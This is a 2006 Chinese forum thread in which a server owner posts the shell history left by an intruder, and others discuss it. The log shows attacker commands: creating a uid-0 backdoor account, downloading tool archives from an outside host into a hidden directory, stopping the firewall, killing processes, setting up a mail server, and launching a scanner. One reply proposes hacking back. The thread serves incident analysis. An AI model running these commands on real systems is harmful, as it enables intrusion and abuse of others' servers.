我得服务器被黑了，看看老外都干了什么！！

firer2000

我得服务器被老外黑了！！因为密码太简单，自己玩的服务器，被黑无所谓，但是大家分析分析他都干了什么，下面是他打的命令：

427  w
  428  ifconfig
  429  adduser rc -u 0 -o -g 0
  430  passwd rc
  431  php -v
  432  netstat -nat
  433  cd /var/www/html/
  434  ls -la
  435  wget http://md-host.net/db/SignIn.tar.gz
  436  tar zxf SignIn.tar.gz
  437  netstat -nat
  438  w
  439  cd /var/tmp/
  440  wget ftp://rpmfind.net/linux/fedora/c ... xim-4.43-1.i386.rpm
  441  rpm -ivh exim-4.43-1.i386.rpm
  442  rpm -qa |grep exim
  443  rpm -e exim-mon-4.43-1.RHEL4.3
  444  rpm -e exim-sa-4.43-1.RHEL4.3
  445  rpm -e exim-doc-4.43-1.RHEL4.3
  446  rpm -e exim-4.43-1.RHEL4.3
  447  rpm -ivh exim-4.43-1.i386.rpm
  448  netstat -nat
  449  hostname
  450  /etc/init.d/exim start
  451  netstat -natp
  452  ifconfig
  453  php -v
  454  mkdir .~
  455  cd .~
  456  wget http://md-host.net/db/s.tar.gz
  457  tar zxf s.tar.gz
  458  ls- la
  459  ls -la
  460  rm -rf s.tar.gz
  461  mcedit system.php
  462  export LANG=c
  463  mcedit bla.txt
  464  mcedit list.txt
  465  cat >i
  466  hostname -F i
  467  /etc/init.d/exim start
  468  /etc/init.d/exim restart
  469  adduser kyle
  470  su kyle
  471  /etc/init.d/iptables stop
  472  netstat -natp
  473  kill -9 6683
  474  kill -9 2120
  475  kill -9 1811
  476  kill -9 2100
  477  kill -9 2334
  478  kill -9 2334
  479  kill -9 1382
  480  kill -9 2389
  481  kill -9 23010
  482  netstat -natp
  483  /etc/init.d/mysqld stop
  484  /etc/init.d/exim restart
  485  su kyle
  486  rpm -e sendmail-doc-8.13.1-2
  487  rpm -e sendmail-devel-8.13.1-2
  488  rpm -e sendmail-cf-8.13.1-2
  489  ifconfig
  490  php -f system.php
  491  netstat -natp
  492  w
  493  netstat -nat
  494  netstat -natp
  495  cd /var/tmp/
  496  ls -la
  497  cd .~
  498  ls -la
  499  rm -rf i
  500  hostname
  501  w
  502  passwd
  503  cd /var/named/
  504  ls -la
  505  cd chroot/var/named/
  506  ls -la
  507  mail
  508  mail csergiu@gmail.com
  509  /etc/init.d/spamassassin stop
  510  rpm -qa |grep spamassassin
  511  rpm -e spamassassin-3.0.1-0.EL4
  512  rpm -e spamassassin-3.0.1-0.EL4 --nodeps
  513  rpm -e evolutio
  514  rpm -qa |grep evolution-2.0.2-16.i386
  515  rpm -qa |grep evolution
  516  rpm -e evolution-devel-2.0.2-16
  517  rpm -e evolution-data-server-1.0.2-7
  518  rpm -e evolution-data-server-1.0.2-7 --nodeps
  519  rpm -e evolution-2.0.2-16
  520  rpm -e evolution-2.0.2-16 --nodeps
  521  rpm -e evolution-connector-2.0.2-5
  522  rpm -e evolution-webcal-1.0.10-1
  523  rpm -e evolution-data-server-devel-1.0.2-7
  524  /etc/init.d/exim restart
  525  mail csergiu@gmail.com
  526  ifconfig
  527  ifconfig
  528  cd /var/tmp/
  529  cd .~
  530  rm -rf *
  531  wget http://md-host.net/db/kidu.tgz
  532  tar zxf kidu.tgz
  533  ls -la
  534  rm -rf kidu.tgz
  535  touch bios.txt uniq.txt vuln.txt viln.txt
  536  ./go.b 221.220
  537  cd /opt
  538  la
  539  ls

大家一起分析一下！

supertcy

前几天弄了台新服务器，还没正式使用，所以密码就随手设置成了六个1，结果过了一周同样发现被用这种手段入侵了，看来这家伙效率蛮高的。。

Ecore

强烈建议楼主使用john把他填加的用户密码跑出来。然后等他下次上来，就连他的机子试试。。

或者等他下次上来..用write和他聊天。

mjdcl

不是很明白，su成加的用户（rc），
竟然提示符还是
[root@XX],那他加这个用户干嘛？

sbyond

一边干坏事 一边 w ，看到有人上来就logout

lvDbing

cool

todaynet

看了之后学了东西，同时也给自己一个很大启示和警钟信号。

garfieldpb

希望成为CU高手现身贴～～～

frank533

怎么知道跟EBAY有关系的？

anakin81

看到了这个，知道自己的技术不够。 和朋友谈了。。

♫♪--ăĤ-ķĬň--♪♫   说:
adduser rc -u 0 -o -g 0    <--- u understand this command?
[ = M a r s = ] 说:
hmmm
group 0, uid 0?
why
o>O
  ♫♪--ăĤ-ķĬň--♪♫   说:
a server rooted by people .. and that guy paste out the history ...
i see this but i dont understand haha
[ = M a r s = ] 说:
history from the rooter?
well, easy as this
he added a user with uid 0
normally, uid 0 == super user
lol
  ♫♪--ăĤ-ķĬň--♪♫   说:
oh...
mean add root  
haha
[ = M a r s = ] 说:
root:*:0:0::0:0:Charlie &:/root:/bin/csh
see the 0:0::0:0
yup
lol
toor:*:0:0::0:0:Bourne-again Superuser:/root:/bin/sh
see again :0:0::0:0:
0 uid - 0 gid == super user

  ♫♪--ăĤ-ķĬň--♪♫   说:
oh
disabled SUID ..
[ = M a r s = ] 说:
there's 4 ids
x:
first two is the primary
second two is the secondary
as in, u want to add the user into 2 groups, etc
so, first two must NOT be 0:0
if not, its root
lol
  ♫♪--ăĤ-ķĬň--♪♫   说:
ok... got it



我觉得人家特地流history给你看的。

[ 本帖最后由 anakin81 于 2006-6-8 11:51 编辑 ]